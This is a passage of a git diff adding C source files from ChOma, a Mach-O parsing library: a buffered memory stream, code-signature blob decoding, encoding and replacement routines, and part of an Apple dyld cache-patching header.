context->subBufferSize); + } + + memcpy(context->buffer + context->subBufferStart + offset, inBuf, size); + return size; +} + +static int buffered_stream_get_size(MemoryStream *stream, size_t *sizeOut) +{ + BufferedStreamContext *context = stream->context; + *sizeOut = context->subBufferSize; + return 0; +} + +static uint8_t *buffered_stream_get_raw_pointer(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + return &context->buffer[context->subBufferStart]; +} + +static int buffered_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + BufferedStreamContext *context = stream->context; + + // TODO: bound checks + context->subBufferStart += trimAtStart; + context->subBufferSize -= (trimAtEnd + trimAtStart); + + return 0; +} + +static int buffered_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + BufferedStreamContext *context = stream->context; + + size_t newSize = context->subBufferSize + expandAtStart + expandAtEnd; + uint8_t *newBuffer = malloc(newSize); + memset(newBuffer, 0, newSize); + memcpy(&newBuffer[expandAtStart], &context->buffer[context->subBufferStart], context->subBufferSize); + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + free(context->buffer); + } + context->buffer = newBuffer; + context->bufferSize = newSize; + context->subBufferStart = 0; + context->subBufferSize = newSize; + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + + return 0; +} + +static MemoryStream *buffered_stream_softclone(MemoryStream *stream) +{ + MemoryStream* clone = malloc(sizeof(MemoryStream)); + if (!clone) return NULL; + memset(clone, 0, sizeof(MemoryStream)); + + BufferedStreamContext *context = stream->context; + BufferedStreamContext *contextCopy = malloc(sizeof(BufferedStreamContext)); + + contextCopy->buffer = context->buffer; + contextCopy->bufferSize = context->bufferSize; + contextCopy->subBufferStart = context->subBufferStart; + contextCopy->subBufferSize = context->subBufferSize; + clone->flags = stream->flags & ~(MEMORY_STREAM_FLAG_OWNS_DATA); + + clone->context = contextCopy; + return clone; +} + +static MemoryStream *buffered_stream_hardclone(MemoryStream *stream) +{ + MemoryStream* clone = buffered_stream_softclone(stream); + if (clone) { + _buffered_stream_make_own_data(clone); + } + return clone; +} + +static void buffered_stream_free(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + if (context->buffer) { + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + free(context->buffer); + } + } + free(context); +} + +static int _buffered_stream_init(MemoryStream *stream) +{ + stream->read = buffered_stream_read; + stream->write = buffered_stream_write; + stream->getSize = buffered_stream_get_size; + stream->getRawPtr = buffered_stream_get_raw_pointer; + + stream->trim = buffered_stream_trim; + stream->expand = buffered_stream_expand; + + stream->softclone = buffered_stream_softclone; + stream->hardclone = buffered_stream_hardclone; + stream->free = buffered_stream_free; + + stream->flags = MEMORY_STREAM_FLAG_MUTABLE; + return 0; +} + +MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = malloc(sizeof(MemoryStream)); + if (!stream) return NULL; + memset(stream, 0, sizeof(MemoryStream)); + + BufferedStreamContext *context = malloc(sizeof(BufferedStreamContext)); + context->buffer = buffer; + context->bufferSize = bufferSize; + context->subBufferStart = 0; + context->subBufferSize = bufferSize; + + stream->context = context; + if (_buffered_stream_init(stream) != 0) goto fail; + + if (flags & BUFFERED_STREAM_FLAG_AUTO_EXPAND) { + stream->flags |= MEMORY_STREAM_FLAG_AUTO_EXPAND; + } + + return stream; + +fail: + buffered_stream_free(stream); + return NULL; +} + +MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags) +{ + void *copy = malloc(bufferSize); + if (!copy) return NULL; + memcpy(copy, buffer, bufferSize); + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(copy, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/BufferedStream.h b/XPF/external/ChOma/src/BufferedStream.h new file mode 100644 index 0000000..bfad1b2 --- /dev/null +++ b/XPF/external/ChOma/src/BufferedStream.h @@ -0,0 +1,19 @@ +#ifndef BUFFERED_STREAM_H +#define BUFFERED_STREAM_H + +#include "MemoryStream.h" +#include + +#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0) + +typedef struct BufferedStreamContext { + uint8_t *buffer; + size_t bufferSize; + uint32_t subBufferStart; + size_t subBufferSize; +} BufferedStreamContext; + +MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags); +MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags); + +#endif // BUFFERED_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/CSBlob.c b/XPF/external/ChOma/src/CSBlob.c new file mode 100644 index 0000000..4c298b9 --- /dev/null +++ b/XPF/external/ChOma/src/CSBlob.c @@ -0,0 +1,523 @@ +#include "CSBlob.h" + +#include "CodeDirectory.h" +#include "MachO.h" +#include "MachOByteOrder.h" +#include "BufferedStream.h" +#include "MemoryStream.h" +#include "Util.h" +#include +#include +#include + +const char *cs_blob_magic_to_string(uint32_t magic) +{ + switch (magic) { + case CSMAGIC_REQUIREMENT: + return "Requirement blob"; + case CSMAGIC_REQUIREMENTS: + return "Requirements blob"; + case CSMAGIC_CODEDIRECTORY: + return "Code directory blob"; + case CSMAGIC_EMBEDDED_SIGNATURE: + return "Embedded signature blob"; + case CSMAGIC_EMBEDDED_SIGNATURE_OLD: + return "Embedded signature blob (old)"; + case CSMAGIC_EMBEDDED_ENTITLEMENTS: + return "Entitlements blob"; + case CSMAGIC_EMBEDDED_DER_ENTITLEMENTS: + return "DER entitlements blob"; + case CSMAGIC_DETACHED_SIGNATURE: + return "Detached signature blob"; + case CSMAGIC_BLOBWRAPPER: + return "Signature blob"; + case CSMAGIC_EMBEDDED_LAUNCH_CONSTRAINT: + return "Launchd contraint blob"; + default: + return "Unknown blob type"; + } +} + +const char *cs_slot_type_to_string(uint32_t slotType) +{ + if (slotType & CSSLOT_ALTERNATE_CODEDIRECTORIES) { + int num = slotType & 0xfff; + switch (num) { + case 0: + return "Alternate code directory slot (1)"; + case 1: + return "Alternate code directory slot (2)"; + case 2: + return "Alternate code directory slot (3)"; + case 3: + return "Alternate code directory slot (4)"; + case 4: + return "Alternate code directory slot (5)"; + default: + return "Alternate code directory slot (invalid)"; + } + } + + switch (slotType) { + case CSSLOT_CODEDIRECTORY: + return "Code directory slot"; + case CSSLOT_INFOSLOT: + return "Info slot"; + case CSSLOT_REQUIREMENTS: + return "Requirements slot"; + case CSSLOT_RESOURCEDIR: + return "Resource Dir slot"; + case CSSLOT_APPLICATION: + return "Application slot"; + case CSSLOT_ENTITLEMENTS: + return "Entitlements slot"; + case CSSLOT_DER_ENTITLEMENTS: + return "DER entitlements slot"; + case CSSLOT_LAUNCH_CONSTRAINT_SELF: + return "Launch constraint slot (self)"; + case CSSLOT_LAUNCH_CONSTRAINT_PARENT: + return "Launch constraint slot (parent)"; + case CSSLOT_LAUNCH_CONSTRAINT_RESPONSIBLE: + return "Launch constraint slot (responsible)"; + case CSSLOT_LIBRARY_CONSTRAINT: + return "Library constraint slot"; + case CSSLOT_SIGNATURESLOT: + return "Signature slot"; + case CSSLOT_IDENTIFICATIONSLOT: + return "Identification slot"; + case CSSLOT_TICKETSLOT: + return "Ticket slot"; + default: + return "Unknown blob type"; + } +} + +int macho_parse_signature_blob_to_der_encoded_data(MachO *macho, uint32_t signatureBlobOffset, uint32_t signatureBlobLength, void *outputDER) +{ + return macho_read_at_offset(macho, signatureBlobOffset + 8, signatureBlobLength - 8, outputDER); +} + +int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut) +{ + __block int r = -1; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_CODE_SIGNATURE) { + struct linkedit_data_command *csLoadCommand = ((struct linkedit_data_command *)cmd); + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, LITTLE_TO_HOST_APPLIER); + if (offsetOut) *offsetOut = csLoadCommand->dataoff; + if (sizeOut) *sizeOut = csLoadCommand->datasize; + *stop = true; + r = 0; + } + }); + return r; +} + +CS_SuperBlob *macho_read_code_signature(MachO *macho) +{ + uint32_t offset = 0, size = 0; + if (macho_find_code_signature_bounds(macho, &offset, &size) == 0) { + CS_SuperBlob *dataOut = malloc(size); + if (macho_read_at_offset(macho, offset, size, dataOut) == 0) { + return dataOut; + } + else { + free(dataOut); + } + } + return NULL; +} + +int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob) +{ + uint32_t csSegmentOffset = 0, csSegmentSize = 0; + macho_find_code_signature_bounds(macho, &csSegmentOffset, &csSegmentSize); + + uint32_t sizeOfCodeSignature = 0; + memory_stream_read(macho->stream, csSegmentOffset + offsetof(CS_SuperBlob, length), sizeof(sizeOfCodeSignature), &sizeOfCodeSignature); + sizeOfCodeSignature = BIG_TO_HOST(sizeOfCodeSignature); + + uint64_t newCodeSignatureSize = BIG_TO_HOST(superblob->length); + + // See how much space we have to write the new code signature + uint64_t entireFileSize = memory_stream_get_size(macho->stream); + uint64_t freeSpace = entireFileSize - csSegmentOffset; + uint64_t paddingSize = freeSpace - sizeOfCodeSignature; + + if (newCodeSignatureSize >= freeSpace) { + macho_write_at_offset(macho, csSegmentOffset, newCodeSignatureSize, superblob); + uint8_t padding[paddingSize]; + memset(padding, 0, paddingSize); + macho_write_at_offset(macho, csSegmentOffset + newCodeSignatureSize, paddingSize, padding); + } else if (newCodeSignatureSize < freeSpace) { + memory_stream_trim(macho_get_stream(macho), 0, entireFileSize - csSegmentOffset); + macho_write_at_offset(macho, csSegmentOffset, newCodeSignatureSize, superblob); + uint8_t padding[paddingSize]; + memset(padding, 0, paddingSize); + macho_write_at_offset(macho, csSegmentOffset + newCodeSignatureSize, paddingSize, padding); + } + + return 0; +} + +int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob) +{ + FILE *csDataFile = fopen("Code_Signature-Data", "wb+"); + fwrite(superblob, BIG_TO_HOST(superblob->length), 1, csDataFile); + fclose(csDataFile); + return 0; +} + +CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData) +{ + CS_DecodedBlob *blob = malloc(sizeof(CS_DecodedBlob)); + if (!blob) return NULL; + memset(blob, 0, sizeof(CS_DecodedBlob)); + + blob->type = type; + blob->stream = buffered_stream_init_from_buffer(blobData, BIG_TO_HOST(blobData->length), BUFFERED_STREAM_FLAG_AUTO_EXPAND); + + return blob; +} + +int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf) +{ + return memory_stream_read(blob->stream, offset, size, outBuf); +} + +static void _csd_blob_fix_length(CS_DecodedBlob *blob) +{ + uint32_t curSize = HOST_TO_BIG((uint32_t)memory_stream_get_size(blob->stream)); + memory_stream_write(blob->stream, offsetof(CS_GenericBlob, length), sizeof(curSize), &curSize); +} + +int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf) +{ + int r = memory_stream_write(blob->stream, offset, size, inBuf); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf) +{ + int r = memory_stream_insert(blob->stream, offset, size, inBuf); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size) +{ + int r = memory_stream_delete(blob->stream, offset, size); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString) +{ + return memory_stream_read_string(blob->stream, offset, outString); +} + +int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string) +{ + int r = memory_stream_write_string(blob->stream, offset, string); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +size_t csd_blob_get_size(CS_DecodedBlob *blob) +{ + return memory_stream_get_size(blob->stream); +} + +uint32_t csd_blob_get_type(CS_DecodedBlob *blob) +{ + return blob->type; +} + +void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type) +{ + blob->type = type; +} + +void csd_blob_free(CS_DecodedBlob *blob) +{ + if (blob->stream) { + memory_stream_free(blob->stream); + } + free(blob); +} + +CS_DecodedSuperBlob *csd_superblob_init(void) +{ + CS_DecodedSuperBlob *decodedSuperblob = malloc(sizeof(CS_DecodedSuperBlob)); + if (!decodedSuperblob) return NULL; + memset(decodedSuperblob, 0, sizeof(CS_DecodedSuperBlob)); + return decodedSuperblob; +} + +CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob) +{ + uint32_t magic = BIG_TO_HOST(superblob->magic); + if (magic != CSMAGIC_EMBEDDED_SIGNATURE && magic != CSMAGIC_DETACHED_SIGNATURE) return NULL; + + CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_init(); + if (!decodedSuperblob) return NULL; + + CS_DecodedBlob **nextBlob = &decodedSuperblob->firstBlob; + decodedSuperblob->magic = magic; + + for (uint32_t i = 0; i < BIG_TO_HOST(superblob->count); i++) { + CS_BlobIndex curIndex = superblob->index[i]; + BLOB_INDEX_APPLY_BYTE_ORDER(&curIndex, BIG_TO_HOST_APPLIER); + //printf("decoding %u (type: %x, offset: 0x%x)\n", i, curIndex.type, curIndex.offset); + + CS_GenericBlob *curBlobData = (CS_GenericBlob *)(((uint8_t*)superblob) + curIndex.offset); + + *nextBlob = csd_blob_init(curIndex.type, curBlobData); + nextBlob = &(*nextBlob)->next; + } + return decodedSuperblob; +} + +CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob) +{ + uint32_t blobCount = 0, blobSize = 0; + + // Determine amount and size of contained blobs + CS_DecodedBlob *nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + blobCount++; + blobSize += csd_blob_get_size(nextBlob); + nextBlob = nextBlob->next; + } + + uint32_t superblobLength = sizeof(CS_SuperBlob) + (sizeof(CS_BlobIndex) * blobCount) + blobSize; + CS_SuperBlob *superblob = malloc(superblobLength); + + // Populate superblob fields + superblob->count = blobCount; + superblob->length = superblobLength; + superblob->magic = decodedSuperblob->magic; + SUPERBLOB_APPLY_BYTE_ORDER(superblob, HOST_TO_BIG_APPLIER) + + // Populate indexes and write actual backing data + uint32_t idx = 0; + uint32_t dataStartOffset = sizeof(CS_SuperBlob) + (sizeof(CS_BlobIndex) * blobCount); + uint8_t *superblobData = ((uint8_t*)superblob) + dataStartOffset; + uint8_t *superblobDataCur = superblobData; + nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + // Populate blob data + uint32_t curSize = csd_blob_get_size(nextBlob); + csd_blob_read(nextBlob, 0, curSize, superblobDataCur); + + // Populate index + CS_BlobIndex *curIndex = &superblob->index[idx]; + curIndex->offset = dataStartOffset + (superblobDataCur - superblobData); + curIndex->type = nextBlob->type; + BLOB_INDEX_APPLY_BYTE_ORDER(curIndex, HOST_TO_BIG_APPLIER); + + superblobDataCur += curSize; + idx++; + nextBlob = nextBlob->next; + } + return superblob; +} + +CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + uint32_t i = 0; + while (blob) { + if (blob->type == type) { + if (indexOut) *indexOut = i; + return blob; + } + blob = blob->next; + i++; + } + return NULL; +} + +CS_DecodedBlob *csd_superblob_find_blob_by_magic(CS_DecodedSuperBlob *superblob, uint32_t magic, uint32_t *indexOut) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + uint32_t i = 0; + while (blob) { + uint32_t blobMagic = 0; + memory_stream_read(blob->stream, 0, sizeof(uint32_t), &blobMagic); + if (BIG_TO_HOST(blobMagic) == magic) { + if (indexOut) *indexOut = i; + return blob; + } + blob = blob->next; + i++; + } + return NULL; +} + +int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob) +{ + blobToInsert->next = afterBlob->next; + afterBlob->next = blobToInsert; + return 0; +} + +int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex) +{ + if (atIndex == 0) { + blobToInsert->next = superblob->firstBlob; + superblob->firstBlob = blobToInsert; + return 0; + } + else { + uint32_t i = 0; + CS_DecodedBlob *blobAtIndex = superblob->firstBlob; + while (blobAtIndex && i < atIndex) { + blobAtIndex = blobAtIndex->next; + i++; + } + if (blobAtIndex) { + return csd_superblob_insert_blob_after_blob(superblob, blobToInsert, blobAtIndex); + } + return -1; + } +} + +int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend) +{ + if (!superblob->firstBlob) { + superblob->firstBlob = blobToAppend; + return 0; + } + + CS_DecodedBlob *lastBlob = superblob->firstBlob; + while (lastBlob->next) { + lastBlob = lastBlob->next; + } + return csd_superblob_insert_blob_after_blob(superblob, blobToAppend, lastBlob); +} + +int csd_superblob_replace_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *newBlob) +{ + uint32_t index = 0; + CS_DecodedBlob *blob = csd_superblob_find_blob(superblob, newBlob->type, &index); + if (blob) { + csd_superblob_remove_blob_at_index(superblob, index); + csd_superblob_insert_blob_at_index(superblob, newBlob, index); + } else { + csd_superblob_append_blob(superblob, newBlob); + } + return 0; +} + +int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + if (blob == blobToRemove) { + superblob->firstBlob = blobToRemove->next; + return 0; + } + while (blob) { + if (blob->next == blobToRemove) { + blob->next = blobToRemove->next; + return 0; + } + blob = blob->next; + } + return -1; +} + +int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex) +{ + if (atIndex == 0) { + return csd_superblob_remove_blob(superblob, superblob->firstBlob); + } + else { + uint32_t i = 0; + CS_DecodedBlob *blobAtIndex = superblob->firstBlob; + while (blobAtIndex && i < atIndex) { + blobAtIndex = blobAtIndex->next; + i++; + } + if (blobAtIndex) { + int r = csd_superblob_remove_blob(superblob, blobAtIndex); + if (r == 0) csd_blob_free(blobAtIndex); + return r; + } + return -1; + } + return 0; +} + +CS_DecodedBlob *csd_superblob_find_best_code_directory(CS_DecodedSuperBlob *decodedSuperblob) +{ + CS_DecodedBlob *bestCDBlob = NULL; + unsigned bestCDBlobRank = 0; + + CS_DecodedBlob *blob = decodedSuperblob->firstBlob; + while (blob) { + if (blob->type == CSSLOT_CODEDIRECTORY || ((CSSLOT_ALTERNATE_CODEDIRECTORIES <= blob->type && blob->type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT))) { + unsigned CDBlobRank = csd_code_directory_calculate_rank(blob); + if (CDBlobRank > bestCDBlobRank) { + bestCDBlob = blob; + bestCDBlobRank = CDBlobRank; + } + } + blob = blob->next; + } + + return bestCDBlob; +} + +int csd_superblob_calculate_best_cdhash(CS_DecodedSuperBlob *decodedSuperblob, void *cdhashOut, int *cdhashTypeOut) +{ + if (!cdhashOut) return -1; + CS_DecodedBlob *bestCDBlob = csd_superblob_find_best_code_directory(decodedSuperblob); + if (cdhashTypeOut) *cdhashTypeOut = csd_code_directory_get_hash_type(bestCDBlob); + return csd_code_directory_calculate_hash(bestCDBlob, cdhashOut); +} + +int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots) +{ + CS_DecodedBlob *currentBlob = decodedSuperblob->firstBlob; + int count = 0; + uint32_t offset = 0; + while (currentBlob) { + uint32_t blobType = currentBlob->type; + printf("Slot %d: %s (offset 0x%x, type: 0x%x).\n", count++, cs_slot_type_to_string(blobType), offset, blobType); + + if (blobType == CSSLOT_CODEDIRECTORY || blobType == CSSLOT_ALTERNATE_CODEDIRECTORIES) { + csd_code_directory_print_content(currentBlob, macho, printAllSlots, verifySlots); + } + else if (blobType == CSSLOT_SIGNATURESLOT) { + CS_GenericBlob *cms_blob = malloc(sizeof(CS_GenericBlob)); + memset(cms_blob, 0, sizeof(CS_GenericBlob)); + memory_stream_read(currentBlob->stream, 0, sizeof(CS_GenericBlob), cms_blob); + GENERIC_BLOB_APPLY_BYTE_ORDER(cms_blob, BIG_TO_HOST_APPLIER); + printf("This is the %s, magic %#x.\n", cs_blob_magic_to_string(cms_blob->magic), cms_blob->magic); + } + else { + CS_GenericBlob *generic_blob = malloc(sizeof(CS_GenericBlob)); + memset(generic_blob, 0, sizeof(CS_GenericBlob)); + memory_stream_read(currentBlob->stream, 0, sizeof(CS_GenericBlob), generic_blob); + GENERIC_BLOB_APPLY_BYTE_ORDER(generic_blob, BIG_TO_HOST_APPLIER); + printf("This is the %s, magic %#x.\n", cs_blob_magic_to_string(generic_blob->magic), generic_blob->magic); + } + + offset += csd_blob_get_size(currentBlob); + currentBlob = currentBlob->next; + } + return 0; +} + +void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob) +{ + CS_DecodedBlob *nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + CS_DecodedBlob *prevBlob = nextBlob; + nextBlob = nextBlob->next; + csd_blob_free(prevBlob); + } + free(decodedSuperblob); +} diff --git a/XPF/external/ChOma/src/CSBlob.h b/XPF/external/ChOma/src/CSBlob.h new file mode 100644 index 0000000..8a628ff --- /dev/null +++ b/XPF/external/ChOma/src/CSBlob.h @@ -0,0 +1,120 @@ +#ifndef CS_BLOB_H +#define CS_BLOB_H + +#include +#include +#include +#include + +#include "Fat.h" +#include "MachO.h" +#include "MemoryStream.h" + +// Blob index +typedef struct __BlobIndex { + uint32_t type; + uint32_t offset; +} CS_BlobIndex; + +// CMS superblob +typedef struct __SuperBlob { + uint32_t magic; + uint32_t length; + uint32_t count; + CS_BlobIndex index[]; +} CS_SuperBlob; + +typedef struct __GenericBlob { + uint32_t magic; /* magic number */ + uint32_t length; /* total length of blob */ + char data[]; +} CS_GenericBlob; + +// CMS blob magic types +typedef enum { + CSMAGIC_REQUIREMENT = 0xfade0c00, + CSMAGIC_REQUIREMENTS = 0xfade0c01, + CSMAGIC_CODEDIRECTORY = 0xfade0c02, + CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, + CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, + CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, + CSMAGIC_EMBEDDED_DER_ENTITLEMENTS = 0xfade7172, + CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, + CSMAGIC_BLOBWRAPPER = 0xfade0b01, + CSMAGIC_EMBEDDED_LAUNCH_CONSTRAINT = 0xfade8181, +} CS_BlobMagic; + +typedef enum { + CSSLOT_CODEDIRECTORY = 0, + CSSLOT_INFOSLOT = 1, + CSSLOT_REQUIREMENTS = 2, + CSSLOT_RESOURCEDIR = 3, + CSSLOT_APPLICATION = 4, + CSSLOT_ENTITLEMENTS = 5, + CSSLOT_DER_ENTITLEMENTS = 7, + CSSLOT_LAUNCH_CONSTRAINT_SELF = 8, + CSSLOT_LAUNCH_CONSTRAINT_PARENT = 9, + CSSLOT_LAUNCH_CONSTRAINT_RESPONSIBLE = 10, + CSSLOT_LIBRARY_CONSTRAINT = 11, + + CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ + CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */ + + CSSLOT_SIGNATURESLOT = 0x10000, + CSSLOT_IDENTIFICATIONSLOT = 0x10001, + CSSLOT_TICKETSLOT = 0x10002, +} CS_SlotType; + +typedef struct s_CS_DecodedBlob { + struct s_CS_DecodedBlob *next; + uint32_t type; + MemoryStream *stream; +} CS_DecodedBlob; + +typedef struct s_CS_DecodedSuperBlob { + uint32_t magic; + struct s_CS_DecodedBlob *firstBlob; +} CS_DecodedSuperBlob; + +// Convert blob magic to readable blob type string +const char *cs_blob_magic_to_string(uint32_t magic); +const char *cs_slot_type_to_string(uint32_t slotType); + +// Extract Code Signature to file +int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob); + +int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut); + +CS_SuperBlob *macho_read_code_signature(MachO *macho); + +int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob); + +CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData); +int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf); +int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size); +int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString); +int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string); +size_t csd_blob_get_size(CS_DecodedBlob *blob); +uint32_t csd_blob_get_type(CS_DecodedBlob *blob); +void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type); +void csd_blob_free(CS_DecodedBlob *blob); + +CS_DecodedSuperBlob *csd_superblob_init(void); +CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob); +CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob); +CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut); +CS_DecodedBlob *csd_superblob_find_blob_by_magic(CS_DecodedSuperBlob *superblob, uint32_t magic, uint32_t *indexOut); +int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob); +int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex); +int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend); +int csd_superblob_replace_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *newBlob); +int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove +int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex); +int csd_superblob_calculate_best_cdhash(CS_DecodedSuperBlob *decodedSuperblob, void *cdhashOut, int *cdhashType); +int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots); +void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob); + +#endif // CS_BLOB_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/CachePatching.h b/XPF/external/ChOma/src/CachePatching.h new file mode 100644 index 0000000..747a6a7 --- /dev/null +++ b/XPF/external/ChOma/src/CachePatching.h @@ -0,0 +1,195 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2003-2010 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef _CACHE_PATCHING_H_ +#define _CACHE_PATCHING_H_ + +#include + +// +// MARK: --- V1 patching. This is for old caches, before Large/Split caches --- +// + +struct dyld_cache_patch_info_v1 +{ + uint64_t patchTableArrayAddr; // (unslid) address of array for dyld_cache_image_patches for each image + uint64_t patchTableArrayCount; // count of patch table entries + uint64_t patchExportArrayAddr; // (unslid) address of array for patch exports for each image + uint64_t patchExportArrayCount; // count of patch exports entries + uint64_t patchLocationArrayAddr; // (unslid) address of array for patch locations for each patch + uint64_t patchLocationArrayCount;// count of patch location entries + uint64_t patchExportNamesAddr; // blob of strings of export names for patches + uint64_t patchExportNamesSize; // size of string blob of export names for patches +}; + +struct dyld_cache_image_patches_v1 +{ + uint32_t patchExportsStartIndex; + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v1 +{ + uint32_t cacheOffsetOfImpl; + uint32_t patchLocationsStartIndex; + uint32_t patchLocationsCount; + uint32_t exportNameOffset; +}; + +struct dyld_cache_patchable_location_v1 +{ + uint32_t cacheOffset; + uint64_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +// +// MARK: --- V2 patching. This is for Large/Split caches and newer --- +// +struct dyld_cache_patch_info_v2 +{ + uint32_t patchTableVersion; // == 2 + uint32_t patchLocationVersion; // == 0 for now + uint64_t patchTableArrayAddr; // (unslid) address of array for dyld_cache_image_patches_v2 for each image + uint64_t patchTableArrayCount; // count of patch 